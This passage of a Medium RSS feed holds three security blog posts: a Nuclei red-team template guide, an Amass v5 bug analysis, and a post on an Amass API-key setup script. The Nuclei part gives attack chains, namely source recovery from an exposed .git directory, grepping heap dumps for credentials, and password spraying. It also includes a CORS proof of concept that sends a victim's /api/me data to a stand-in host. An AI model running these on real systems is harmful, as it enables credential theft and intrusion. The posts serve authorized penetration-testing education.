configuration, which is exactly why it works so often.</p><p><strong>Rule 3: require a value.</strong> An .env probe that matches DB_PASSWORD= on an empty stub file wastes your evening. The regex demands six value characters after the key, and the extractor reports leaked key names only — the scan log should say <em>what</em> leaked, not print the secrets themselves into another log file:</p><pre>- &#39;(?m)^(APP_KEY|DB_PASSWORD|AWS_ACCESS_KEY_ID|...)\s*=\s*[&quot;&#39;&#39;]?[A-Za-z0-9_\-+/=]{6}&#39;</pre><p><strong>Rule 4: OOB over string matching.</strong> The open-redirect template does not string-match a placeholder domain. It plants a unique {{interactsh-url}} in eight common redirect parameters and matches on the callback:</p><pre>- &quot;{{BaseURL}}/?url={{interactsh-url}}&quot;<br>- &quot;{{BaseURL}}/?next={{interactsh-url}}&quot;<br># ... redirect, redirect_uri, return, returnTo, goto, r<br>matchers:<br>  - type: word<br>    part: interactsh_protocol<br>    words: [&quot;http&quot;, &quot;dns&quot;]<br>    condition: or</pre><p>A callback proves the application fetched or redirected to a host you control. That single template covers server-side redirects, blind SSRF through the same parameters, and OAuth flow abuse — and DNS-only callbacks count, because resolving an attacker’s hostname is already a sink.</p><p><strong>Rule 5: classify like a report depends on it — because it does.</strong> Every template ships a classification: block (CVSS v3.1 metrics, score, CWE) plus metadata with max-request, so you know the blast radius before you fire. A baseline template can carry a bare severity; engagement findings go into a report where CWE-89 means something to the person reviewing it.</p><p><strong>Rule 6: place stop-at-first-match deliberately.</strong> The pack uses it exactly twice — the .git and .env probes — where any hit is the same finding and further paths are redundant requests. It stays off the injection, credential and OOB probes, where each match is its own finding and stopping early would hide the rest.</p><h3>The templates as attack chains</h3><p>The table is the inventory; the chains are the work. Four walkthroughs of the payoff side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*81PuF5plUDbtHnwtXtkCfg.png" /></figure><p><strong>From </strong><strong>.git to full source recovery.</strong> The template confirms HEAD or config is served (any hit is the same finding, hence stop-at-first-match). Then:</p><pre>git-dumper https://target/.git ./dumped<br>cd dumped &amp;&amp; git log --oneline | head<br>git log -p | grep -iE &quot;key|secret|password|token&quot; | head -40</pre><p>The check is two GET requests. The payoff is the entire repository, including whatever was deleted from the working tree before deploy, and the pattern to grep for in history is always the same: keys, staging database URLs, and that one commit where someone pasted credentials into a README.</p><p><strong>From </strong><strong>heapdump to credentials.</strong> The actuator template hits env (JSON, contains propertySources) or heapdump (matched on content-type: application/octet-stream, so a 404 HTML page never fires it). The dump is a binary, but that is not a barrier:</p><pre>strings heapdump | grep -iE &quot;password|secret|token|jdbc:&quot; | sort -u</pre><p>Look specifically for cipher:-prefixed properties in the env dump — encrypted values that are only a problem until you find the decryption key, which is frequently sitting in the same dump.</p><p><strong>From a username list to spraying.</strong> The WordPress template hits wp-json/wp/v2/users with per_page=100 and the ?rest_route= form for sites with plain permalinks, then extracts slugs with a regex extractor (group: 1). The value is precision: your spray hits only real accounts, so no lockout noise from guessed usernames. Discipline applies — one or two attempts per user per hour, against an obvious-but-not-top-10 password list, from an IP your client knows about. Enumeration output plus a spray is how a &quot;medium&quot; finding becomes a domain admin account.</p><p><strong>From CORS reflection to a working PoC.</strong> The template sends Origin: https://evil-attacker.example (replace with a host you control) and requires <em>both</em> the origin reflected and Access-Control-Allow-Credentials: true — reflection alone is usually a misconfiguration, reflection plus credentials is an exploit. The PoC is a handful of lines served from any origin:</p><pre>&lt;script&gt;<br>fetch(&quot;https://target/api/me&quot;, {credentials: &quot;include&quot;})<br>  .then(r =&gt; r.text())<br>  .then(t =&gt; fetch(&quot;https://you.example/?leak=&quot; + encodeURIComponent(t)));<br>&lt;/script&gt;</pre><p>The template’s extractor hands you the exact reflected Access-Control-Allow-Origin value for the report, so the PoC and the evidence never drift apart.</p><p><strong>From introspection to impact.</strong> Introspection itself is a medium finding; the impact comes from the schema dump. Pull the full schema (__schema { types { name fields { name } } } variants), then read it like an attacker: mutations with names like admin, delete, upload or impersonate; object IDs that look sequential; fields the UI never displays. GraphQL&#39;s habit of exposing internal fields is how you find the check that was never written.</p><h3>Tag policy is a safety mechanism</h3><p>The pack’s tags are load-bearing. The Tomcat bruteforce is tagged intrusive (and bruteforce), and the three injection probes are tagged fuzz. That matches the blue profile&#39;s exclude-tags: dos,intrusive,fuzz, so the packs compose with zero extra flags:</p><pre>nuclei -config blue-team-baseline-pack/baseline-profile.yml \<br>  -t blue-team-baseline-pack -t nuclei-templates \<br>  -l assets.txt -o nightly.jsonl</pre><p>runs the full blue pack plus the six red templates that are safe to run nightly, while the credential bruteforce and the fuzz probes stay home.</p><p>Here is the part worth internalizing, because it cost me a debugging session: nuclei’s default ignore set excludes dos, fuzz <em>and</em> bruteforce — with no .nuclei-ignore file present at all. Run the red pack naively and you get <strong>7 of 11 templates, silently</strong>. The bruteforce and fuzz templates do not warn, do not error, do not appear in output; they just do not exist. The fix is re-inclusion:</p><pre>nuclei -t nuclei-templates -itags fuzz,bruteforce -l scope.txt   # all 11</pre><p>The runner does this for you in engagement mode. Part 1 told you to read .nuclei-ignore once so you know what you are silently skipping; consider this the demonstration of what happens when you skip that step. The symptom of a wrong ignore policy is silence, and silence during an engagement scan is indistinguishable from a clean target.</p><p>One more composition detail: the two overlap classes — .env, .git, actuator — exist in both packs on purpose. The blue versions are tuned for nightly noise tolerance (a negative HTML matcher on dotenv, a repositoryformatversion structural check on git) and the red versions trade a little FP risk for more paths and extractors. Two sensors on the same class, different noise budgets. If your diff script keys on template-id, note both IDs.</p><h3>How the pack was validated</h3><p>nuclei -validate is part 1&#39;s advice and this pack&#39;s first runner mode, and it earned its keep on the very first pass:</p><ul><li><strong>attack: cluster is not an attack mode.</strong> The engine said invalid attack type: cluster; the real name is clusterbomb. Templates are data, so a typo is a data bug — the engine only catches it if you validate.</li><li><strong>A json extractor failed to compile.</strong> The WordPress template originally used a gjson path (#.slug) over the user array; the compiler rejected it. A regex extractor with group: 1 does the same job and reads fine — the same pattern as part 1&#39;s Server: Apache/([0-9.]+) example.</li><li><strong>Workflows resolve relative paths against the default template directory</strong>, not against the workflow file. The blue pack’s baseline-workflow.yaml references http/dotenv-exposure.yaml and friends; run from outside the pack, those paths resolve against ~/nuclei-templates and fail. The runner therefore validates the template subdirectories directly and treats the workflow as optional. If you ship workflows, ship absolute paths or run with -ud pointed at the pack.</li></ul><p>The runner’s validate mode checks both packs in one command, and the rule is the same as in CI: a pack that does not pass -validate is a pack you cannot debug in the field.</p><h3>Operating rules</h3><p><strong>Tune the placeholders before the run.</strong> cors-origin-reflection.yaml uses evil-attacker.example — replace it with a host you control. If you need attribution control on the OOB template, point nuclei at your own Interactsh server (nuclei -h | grep interactsh); the public one is fine for day-to-day work but it is shared infrastructure.</p><p><strong>Generic probes are hypotheses, not findings.</strong> Templates 5–7 fire on error banners, reflected markers and file content — strong signals, not proof. Every hit gets manually confirmed with sqlmap, a browser, or a curl reproduction before it goes in a report. Part 1’s curl-command JSONL field is the one-liner for the ticket; use it.</p><p><strong>Respect the rate budget.</strong> Engagement defaults are -rate-limit 60 -concurrency 15, and the Tomcat template sends 9 authentication attempts per host. On shared production infrastructure, check that bruteforce is in scope <em>before</em> the scan starts, not after a security alert arrives.</p><p><strong>Re-run for evidence, not for everything.</strong> Engagement mode writes -omit-raw JSONL to keep results portable. When a specific hit needs full request/response for the report, re-run that one template against that one host with -irr — not the whole pack.</p><h3>Authorization, without hedging</h3><p>This pack is not detection-only. It submits credentials, plants OOB callbacks, and probes injection points with attack payloads. That changes the operating posture from part 1:</p><ul><li>Written authorization or an in-scope bounty program, in hand, before the first request. In the US, unauthorized scanning can fall under the CFAA; part 1’s warning doubles here because these templates <em>are</em> the behavior the law cares about.</li><li>The authorization prompt in engagement mode is not theater. It exists so that mode-switching is impossible to do absent-mindedly at 2 a.m.</li><li>Handle findings like credentials, because some of them are: scan logs with extracted key names, heap dumps, and schema dumps all leave your laptop in a report eventually. Keep them in the engagement’s evidence store, not on your desktop.</li></ul><p>This pack is for people who are contracted to find real vulnerabilities. If that is not you, the blue pack is the tool, and this one is someone else’s job.</p><h3>Get the pack</h3><p>The Red Team Pack — the 11 templates from this article, plus scan.sh (baseline / engagement / validate modes), the blue-pack tag integration, and the README with per-template escalation notes — is on my Patreon, same as part 1&#39;s baseline: patreon.com/npcmillionaire.</p><p>Next in the series, if there’s demand: multi-step templates with flow (authenticate → extract → exploit in one file), and the code protocol for checks YAML cannot express. Questions or a check you want added? Drop a comment — I read them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6498560cf99" width="1" height="1" alt=""><hr><p><a href="https://medium.com/legitimate-biz-research/nuclei-for-people-who-actually-ship-part-2-the-red-team-field-guide-f6498560cf99">Nuclei for People Who Actually Ship, Part 2: The Red Team Field Guide</a> was originally published in <a href="https://medium.com/legitimate-biz-research">legit{biz} — research</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Amass v5 Results Are Thinner Than v4’s. There’s a Code-Level Reason.]]></title>
            <link>https://medium.com/legitimate-biz-research/your-amass-v5-results-are-thinner-than-v4s-there-s-a-code-level-reason-6a737350bc97?source=rss-4f15c85cce86------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a737350bc97</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[debugging]]></category>
            <dc:creator><![CDATA[npcmillionaire]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 11:36:28 GMT</pubDate>
            <atom:updated>2026-11-15T11:36:28.558Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>The flags are accepted. The engine never receives them. The tool exits 0.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ujf-V0fr-DMD0FeBebcZPQ.png" /></figure><p>If you ran amass enum -alts -brute on v5 and got nothing — no altered names, no dictionary guesses, no error — you weren&#39;t holding it wrong. I traced the path from the CLI flag to the engine plugin and found the values never make the trip. Here&#39;s the walk, the one-line-class fix, and why the test suite was structurally incapable of catching it.</p><h3>The experience that sends you to the source</h3><p>Amass v5 is a rewrite. The collection engine moved out of process. The CLI is now a client. You type:</p><pre>amass enum -d example.com -alts -brute -aw altwords.txt -silent -nocolor</pre><p>Exit code: 0. Stdout: quiet. Stderr: quiet. The session log shows the FQDN-Alterations plugin starting. The database contains your seed and whatever the passive sources found. It does not contain newsub.example.com or new-sub.example.com, even when those names resolve.</p><p>A v4 user assumes they misconfigured something. They add -w wordlist.txt for brute force. Same silence. They downgrade to v4, or they write a Python script to do alterations themselves, or they post &quot;amass v5 gives no output&quot; and get told to use -passive.</p><p>I did the first two, then read the code.</p><h3>The architecture that dropped the flag</h3><p>v5 splits Amass into a CLI and an engine that talk over HTTP. When you run amass enum, the client marshals your config.Config and POSTs it. The server does this, in engine/api/server/v1/handlers.go:</p><pre>var config config.Config<br>if err := json.Unmarshal(raw, &amp;config); err != nil {</pre><p>Unmarshal into a <strong>zero-valued struct</strong>. No NewConfig(). No defaults restored. Whatever the JSON payload carries is the entire configuration the engine will ever have.</p><p>So the question becomes: does the payload carry the alteration settings?</p><p>Look at the fields, in config/config.go:</p><pre>// Will discovered subdomain name alterations be generated?<br>Alterations    bool     `yaml:&quot;-&quot; json:&quot;alterations,omitempty&quot;`<br>FlipWords      bool     `yaml:&quot;-&quot; json:&quot;-&quot;`<br>FlipNumbers    bool     `yaml:&quot;-&quot; json:&quot;-&quot;`<br>AddWords       bool     `yaml:&quot;-&quot; json:&quot;-&quot;`<br>AddNumbers     bool     `yaml:&quot;-&quot; json:&quot;-&quot;`<br>MinForWordFlip int      `yaml:&quot;-&quot; json:&quot;-&quot;`<br>EditDistance   int      `yaml:&quot;-&quot; json:&quot;-&quot;`<br>AltWordlist    []string `yaml:&quot;-&quot; json:&quot;alt_worldlist,omitempty&quot;`</pre><p>Alterations has a JSON name. AltWordlist has a JSON name (with a typo — alt_worldlist — that is a separate, smaller crime). The six fields that actually control <em>which techniques run</em> are tagged json:&quot;-&quot;.</p><p>json:&quot;-&quot; means: never serialize this field. Never populate it from JSON. It does not exist on the wire.</p><p>NewConfig() — which runs in the CLI process — sets the booleans to true and EditDistance to 1. Those values live and die inside the client. The engine&#39;s struct starts at zero. Unmarshal fills nothing, because there is nothing in the JSON to fill.</p><h3>Inside the engine: five gates, all closed</h3><p>engine/plugins/brute/alterations.go is the only consumer. It registers correctly. The log line Plugin started for FQDN-Alterations is real. Then it checks:</p><pre>if cfg != nil &amp;&amp; (!cfg.BruteForcing || !cfg.Alterations) {<br>    return<br>}</pre><pre>if cfg.FlipWords &amp;&amp; len(cfg.AltWordlist) &gt; 0 {   // line 104<br>    ...<br>}<br>if cfg.FlipNumbers {                              // line 107<br>    ...<br>}<br>if cfg.AddNumbers {                               // line 110<br>    ...<br>}<br>if cfg.AddWords &amp;&amp; len(cfg.AltWordlist) &gt; 0 {     // line 113<br>    ...<br>}<br>if distance := cfg.EditDistance; distance &gt; 0 {   // line 117<br>    ...<br>}</pre><p>cfg.Alterations made it across (it has a JSON name), so the early return doesn&#39;t fire if you passed -alts. Every technique branch is gated on a field that did <em>not</em> make it across. All false. All zero. guesses stays empty. The plugin returns nil. No store call. No MarkAssetMonitored. No error.</p><p>The CLI exits 0.</p><h3>The same bug, different door: -brute and the wordlist</h3><p>This is issue #1122, and it’s the same class of silent gap on the brute-force path.</p><p>-brute and -w wordlist.txt are parsed. config/brute.go loads the wordlist into c.Wordlist. internal/enum/cli.go sets it. Then:</p><pre>$ git grep &#39;\.Wordlist&#39; engine/</pre><p>Nothing. There is no bruteforcing plugin in v5. The only file under engine/plugins/brute/ is alterations.go, which reads c.AltWordlist, not c.Wordlist. The wordlist sits in memory, crosses the API (this one <em>does</em> have a JSON name somewhere in its journey, or is at least loaded client-side into a struct that the engine ignores), and is never used to generate &lt;word&gt;.example.com.</p><p>Enabling -brute <em>visibly does something</em> — it is required to pass the cfg.BruteForcing gate for alterations — but it does not do what a v4 user means by brute force. Combined with the json:&quot;-&quot; tags, the UX is: you passed both flags, the tool accepted both flags, and the engine received a configuration in which every generation technique is off.</p><h3>Why the tests couldn’t see this</h3><p>config/config_test.go has a test named, beautifully, MarshalJSON returns the expected JSON bytes:</p><pre>expected := []byte(`{&quot;seed&quot;:{},&quot;scope&quot;:{&quot;ports&quot;:[80,443]},&quot;rigid_boundaries&quot;:false,&quot;resolvers&quot;:null,&quot;datasource_config&quot;:{},&quot;transformations&quot;:{}}<br>`)<br>got, err := c.JSON()<br>if !reflect.DeepEqual(got, expected) {</pre><p>It asserts the <em>exact</em> serialization of a default NewConfig(). The expected string does not contain flip_words, edit_distance, or any alteration technique field — because those fields were tagged json:&quot;-&quot; and correctly omitted. The test passed. It was passing <em>the bug</em>. The expected output was a photograph of the wound.</p><p>A test that pins the exact JSON of a config struct is a good test — <strong>if</strong> someone updates it when the struct’s contract changes. Here the contract was “these fields don’t exist on the wire,” and no test anywhere asserted that they <em>should</em> exist, or that an engine-side unmarshal produces a config capable of running alterations.</p><p>Silent failure, meet silent test.</p><h3>The fix</h3><p>Option A from the issue reporter (who did the root-cause work in #1140 and saved me an afternoon): give the fields real JSON names.</p><pre>FlipWords      bool     `yaml:&quot;-&quot; json:&quot;flip_words,omitempty&quot;`<br>FlipNumbers    bool     `yaml:&quot;-&quot; json:&quot;flip_numbers,omitempty&quot;`<br>AddWords       bool     `yaml:&quot;-&quot; json:&quot;add_words,omitempty&quot;`<br>AddNumbers     bool     `yaml:&quot;-&quot; json:&quot;add_numbers,omitempty&quot;`<br>MinForWordFlip int      `yaml:&quot;-&quot; json:&quot;min_for_word_flip,omitempty&quot;`<br>EditDistance   int      `yaml:&quot;-&quot; json:&quot;edit_distance,omitempty&quot;`</pre><p>omitempty is the important half. Without -alts, Alterations is false and the plugin&#39;s first gate still bails — the new fields never matter. With -alts -brute, the booleans and the two ints ride along, the engine unmarshals them, and the gates open.</p><p>I updated the exact-JSON test expectations (five places across config_test.go and active_test.go) to include the new fields. go test ./config/... passes. The PR is <a href="https://github.com/owasp-amass/amass/pull/1161">#1161</a>.</p><h3>The two-minute companion bug</h3><p>While I was in the repo: internal/amass_engine/cli.go builds the engine log filename like this:</p><pre>filename := fmt.Sprintf(&quot;amass_engine_%s.log&quot;, time.Now().Format(&quot;2006-01-02T15:04:05&quot;))</pre><p>Colons are illegal in Windows filenames. amass engine -log-dir logs on Windows fails with The filename, directory name, or volume label syntax is incorrect. — every time, for every user, since that line was written.</p><pre>filename := fmt.Sprintf(&quot;amass_engine_%s.log&quot;, time.Now().Format(&quot;2006-01-02_15-04-05&quot;))</pre><p>PR <a href="https://github.com/owasp-amass/amass/pull/1160">#1160</a>. Same theme, trivial scale: a failure that looks like a broken flag, is actually a dropped character in a format string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UjlqRriYd03JRc4Dne5JFw.png" /></figure><h3>What this says about security tooling</h3><p>Three things I keep coming back to.</p><p><strong>1. Exit 0 is not success.</strong> A recon tool that accepts your flags, starts the right plugin, and generates nothing is more dangerous than one that crashes. You budget time for the crash. You do not budget time for the silence. Every person who ran v5 -alts and moved on with thinner results than v4 has been doing recon with a tool that lied about what it was doing.</p><p><strong>2. Config structs are APIs.</strong> The json:&quot;-&quot; tag is a decision about what crosses a trust/process boundary. When the CLI and the engine are separate programs, those tags <em>are</em> the wire protocol. Tagging a field json:&quot;-&quot; because &quot;it&#39;s internal&quot; is correct for a mutex or a lock. It is a bug for a field that a user sets with a command-line flag and that a plugin reads to decide whether to do its job.</p><p><strong>3. Tests that pin current output will bless the current bug.</strong> If your serialization test says the wire format is X, and X is missing the fields that make a feature work, you have written a regression test <em>for the regression</em>. The fix was six tags and five test-string updates. The hard part was noticing that the feature had no other witness.</p><h3>What I did not fix (yet)</h3><p>Issue #1122 is the larger half: v5 has no wordlist brute-force plugin at all. Porting resources/scripts/brute/bruteforcing.ads from the v4 Ada-era design into a v5 engine plugin is a real project — handler priority after DNS-IP, CNAME/addr guards, recursion bounds, rate limiting, and a conversation with the maintainer about whether this is a port or a deliberate removal. That&#39;s a different article, and it needs a maintainer decision first. The issue reporter already offered a shape for the PR. I&#39;m watching that thread.</p><h3>Receipts</h3><ul><li>Issue #1140 — -alts generates no names (root-cause analysis by the reporter; my PR implements their Option A)</li><li>Issue #1122 — -brute and bruteforce.wordlists accepted but unused</li><li>Issue #1072 — illegal logger filename on Windows</li><li><a href="https://github.com/owasp-amass/amass/pull/1161">PR #1161</a> — expose alteration technique settings via JSON</li><li><a href="https://github.com/owasp-amass/amass/pull/1160">PR #1160</a> — logger filename</li><li>Also open: <a href="https://github.com/owasp-amass/amass/issues/1159">#1159</a>, a proposal for an interactive datasources wizard, because the other way people get silently bad Amass results is 48 possible API sources and a YAML file that doesn’t tell you when you’ve typed the key into the wrong shape.</li></ul><p>If you run v5 and you need alterations today, you can pin v4, or apply #1161 to a local build (go install github.com/NPCmillionaire/amass/v5/cmd/amass@fix/alteration-flags once the branch is public). If you maintain a Go tool with a client/server split and struct tags deciding what crosses the wire — go grep your own json:&quot;-&quot;. I&#39;ll wait.</p><p><em>Amass is an OWASP flagship project. The v5 rewrite is ambitious and mostly good. None of this is a dunk on the maintainers; silent cross-process config gaps are how Go services fail, and they filed themselves a very good issue tracker. PRs are open. Go leave a review.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a737350bc97" width="1" height="1" alt=""><hr><p><a href="https://medium.com/legitimate-biz-research/your-amass-v5-results-are-thinner-than-v4s-there-s-a-code-level-reason-6a737350bc97">Your Amass v5 Results Are Thinner Than v4’s. There’s a Code-Level Reason.</a> was originally published in <a href="https://medium.com/legitimate-biz-research">legit{biz} — research</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Half Your Amass Sources Are Silent. I Counted, Then Built the Wizard.]]></title>
            <link>https://npcmillionaire.medium.com/half-your-amass-sources-are-silent-i-counted-then-built-the-wizard-83517427d158?source=rss-4f15c85cce86------2</link>
            <guid isPermaLink="false">https://medium.com/p/83517427d158</guid>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[debugging]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[npcmillionaire]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 11:27:47 GMT</pubDate>
            <atom:updated>2026-11-15T11:33:15.044Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>48 API-capable data sources. You configured seven. The tool did not tell you the other 41 were possible, and it will not tell you the seven are in the wrong YAML shape.</strong></p><p>This is Part 1 of two about OWASP Amass v5 and the specific way it fails: quietly. Part 2 is the engine dropping -alts and -brute on the wire. This one is the file that decides whether the passive half of your recon ever happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PbjFbAB6t-H34c9lPQuzGQ.png" /></figure><h3>The setup that looks like success</h3><p>Install Amass v5. Run it against a domain you own. You get subdomains. You feel productive.</p><p>Then someone with a fully keyed datasources.yaml runs the same domain and posts 4x the names, including the ones that only Censys, SecurityTrails, or BinaryEdge have. You compare notes. You have a datasources.yaml. It has some keys in it. The tool accepted the file.</p><p>The file is the interface. Nobody hands you the catalog.</p><h3>The file, and the 48</h3><p>The official example lives at <a href="https://github.com/owasp-amass/amass/blob/master/examples/datasources.yaml">examples/datasources.yaml</a>. It is the entire menu. I pulled it and counted: <strong>48 data sources that take credentials.</strong> Some take one API key. Censys wants a key <em>and</em> a secret. CIRCL, Spamhaus, and ZoomEye want username and password. PassiveTotal, FOFA, Yandex, and CertCentral want username <em>and</em> key. C99 has two accounts. FacebookCT has two apps, each with a key and secret.</p><p>On top of those 48 there is a larger population of unauthenticated sources — scrapers, certificate transparency, DNS archives — that run with no key at all. That’s why the community still says “80+ sources.” The 48 are the ones you can turn <em>on</em>. The unauthenticated ones you cannot turn <em>off</em>, and they are why a totally unkeyed Amass still returns something. Enough of a something to make you think you’re done.</p><p>A free-tier user who configures the high-value half-dozen (Shodan, Censys, VirusTotal, GitHub, URLScan, Chaos) is in a different sport than a free-tier user who never opens the file. The file does not introduce itself.</p><h3>The four ways the file eats your key</h3><p>I hit all of these, or watched them get hit, while building around the file instead of in an editor with the example open.</p><p><strong>1. Keys in the wrong file.</strong> v5 splits config into config.yaml (scope, options, bruteforce toggles) and datasources.yaml (the 48). A v4 muscle-memory edit puts a source block in config.yaml. v5 does not read it. No warning. If you follow older guides — and most guides still ranking on this topic are v4 guides — this is the default outcome.</p><p><strong>2. Right file, wrong shape.</strong> Shodan is:</p><pre>datasources:<br>  - name: Shodan<br>    ttl: 10080<br>    creds:<br>      account:<br>        apikey: &#39;...&#39;</pre><p>Censys is the same plus secret. CIRCL is username and password, no apikey. Put a Censys secret in apikey, or a Shodan key under username, and the entry exists. Amass loads it. The source does not authenticate. You find out by noticing that source never appears in -src output.</p><p><strong>3. Wrong name.</strong> virustotal is not VirusTotal. whoisxml is not WhoisXMLAPI. The name is a lookup key. A near-miss is a dead entry that looks configured.</p><p><strong>4. No feedback at the end.</strong> There is no amass config --check. There is no &quot;3 of 48 sources authenticated.&quot; The smoke test is a scan, and a scan&#39;s success is measured in names, which are also produced by the unauthenticated sources, which is the camouflage.</p><p>The through-line is the same one Part 2 will hit at a lower layer: <strong>the tool accepts input that it will later ignore.</strong> Here the input is YAML. There it is a Go struct tag. In both cases the user’s mental model is “I asked for this” and the system’s model is “that never arrived.”</p><h3>What I actually wanted</h3><p>Not a docs page. A thing that knows the 48, with the credential shape for each; gives me the signup URL and opens it; takes the key, pings the API, tells me if it’s dead before it writes it; merges into datasources.yaml instead of appending a second Shodan; shows me, at the end, 9/48 instead of a vibe.</p><p>gh auth login does this for one service. Amass needed it for 48, with six credential shapes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IxsFhHmu-JK--Xz7M-hFdQ.png" /></figure><h3>The wizard</h3><p>It’s a Bash script, <a href="https://github.com/NPCmillionaire/amass-wizard">amass-wizard</a>, because the audience for &quot;I just installed Amass&quot; is not &quot;I will pip install a TUI.&quot; Requirements on the box: yq for real YAML merges (awk fallback exists for the simple key shape and is not proud of itself), curl and jq for the live checks.</p><p>The loop, per source:</p><pre>[Censys]  (ttl: 10080m)<br>➜ Signup / key page:  https://search.censys.io/account/api<br>  Not configured yet.<br>  [o]pen link, [e]nter key, [s]kip: o<br>  # browser opens, you register, you come back<br>  Paste your Censys key (hidden):<br>  Paste your Censys SECRET (hidden):<br>  Verifying key... valid ✔<br>  Saved Censys.</pre><p>[o] is the whole trick. The friction is not typing the key. The friction is the tab-switch, the account-you-don&#39;t-have, the &quot;where is the API page this year.&quot; The script opens the right URL (GitHub&#39;s is the PAT-creation page with scopes pre-selected) and waits.</p><p>Validation is real where the API allows a cheap ping: Shodan /api-info, Censys /api/v2/account, GitHub /user, GitLab PRIVATE-TOKEN, SecurityTrails /v1/ping, BinaryEdge, VirusTotal. A rejected key asks before it saves. URLScan gets a length check because they don&#39;t offer a validate endpoint. Everything else is saved with a &quot;no online check available&quot; so you know the difference.</p><p>Upsert is by source name. Run it twice, you get one Shodan. File mode 600. Keys are never echoed.</p><p>The catalog is ordered by free-tier value, not alphabetically: Censys, SecurityTrails, GitLab, BinaryEdge, BufferOver, FullHunt, LeakIX, Netlas, ONYPHE, PassiveTotal, then the long tail, then the ones you probably already have.</p><h3>What it does not do</h3><p>It does not store keys in the macOS Keychain. It does not read SHODAN_API_KEY from the environment (yet). It does not port the v4 wordlist brute forcer (that&#39;s the Part 2 neighborhood, and it needs a maintainer). It does not solve Amass. It solves &quot;I have 48 possible sources and a YAML file that lies.&quot;</p><h3>Filed it</h3><p><a href="https://github.com/owasp-amass/amass/issues/1159">owasp-amass/amass #1159</a> — proposal, not a PR, because the maintainers may want this as an amass config subcommand or a TUI or not at all. The issue is the spec: the 48, the six shapes, the live validation, the upsert, the masked status.</p><p>I ran it against my own box mid-build. It found the seven keys I already had (AlienVault, Chaos, GitHub, Shodan, URLScan, VirusTotal, WhoisXMLAPI), masked them, and offered Censys and SecurityTrails as the two I was actually missing. That’s the product. 7/48 becoming 9/48 with two confirmed-valid keys is a different afternoon of recon than &quot;I think I set Amass up.&quot;</p><h3>The Part 2 hook</h3><p>Configured keys fix the passive half. Name generation — alterations, wordlist brute force — is a different subsystem, and I assumed that after a clean datasources.yaml I was done.</p><p>Then I ran:</p><pre>amass enum -d example.com -alts -brute -aw words.txt</pre><p>Exit 0. No altered names. No dictionary names. No error. The plugin started.</p><p>That’s <a href="#">Part 2</a>: the flags you pass on the command line do not arrive at the engine, for a reason that is six struct tags, five test strings, and a json.Unmarshal into a zero-valued struct. Same villain as this piece. Quieter crime.</p><p>If you take one thing from Part 1: run a keyed source’s API by hand against a domain you own, and see whether that source is actually in your results. If it isn’t, the file is the first suspect. If the file is fine, Part 2 is the second.</p><p><em>Amass is an OWASP flagship project and v5 is a real rewrite, not a abandoned v4. The datasource layer isn’t broken so much as undocumented at the exact place users make mistakes. Issue #1159 is open. The wizard is done. Part 2 is written. Both PRs and the issue are on my GitHub, NPCmillionaire.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83517427d158" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nuclei for People Who Actually Ship: A Practical Tutorial]]></title>
            <link>https://medium.com/legitimate-biz-research/nuclei-for-people-who-actually-ship-a-practical-tutorial-d3cafa97a615?source=rss-4f15c85cce86------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3cafa97a615</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[npcmillionaire]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 09:56:09 GMT</pubDate>
            <atom:updated>2026-11-27T07:52:33.897Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*cYzTpIqKLi3St4zw" /></figure><h3>Why Nuclei</h3><p>Nuclei is a template-driven scanner: you describe a check once in YAML, and a Go engine fires it at thousands of hosts concurrently. The engine knows nothing about any specific vulnerability. Every piece of “what to look for” lives in templates, which are data, not code, and are therefore diffable, signable, reviewable and shareable in a way a folder of Python PoCs never was.</p><h3>How we got here</h3><p>Scanners before Nuclei fell into two camps. Commercial and heavyweight open-source scanners (Nessus, OpenVAS, Qualys, Nikto) shipped a vendor-curated plugin database in a proprietary or semi-proprietary format (NASL for Nessus/OpenVAS). You could write plugins, but almost nobody did; the format was a full scripting language, the feedback loop was slow, and the engines were monolithic. The other camp was the bug bounty world circa 2015–2019: everyone kept a private pile of one-off scripts, each reimplementing HTTP, concurrency, retries, and output. Knowledge didn’t compound.</p><p>ProjectDiscovery released Nuclei in April 2020 as part of a Unix-philosophy toolchain: subfinder (passive subdomain enumeration) → dnsx → naabu (port scan) → httpx (probe and fingerprint) → nuclei (check). Each reads newline-delimited input on stdin and writes newline-delimited output, so the whole pipeline composes with pipes. The key design bet was splitting the engine from the checks and putting the checks in a public repo, <a href="https://github.com/projectdiscovery/nuclei-templates">nuclei-templates</a>, which now gets daily CVE additions from a few thousand contributors and ships its own release stream, separate from the engine.</p><p>Major engine milestones:</p><figure><img alt="" 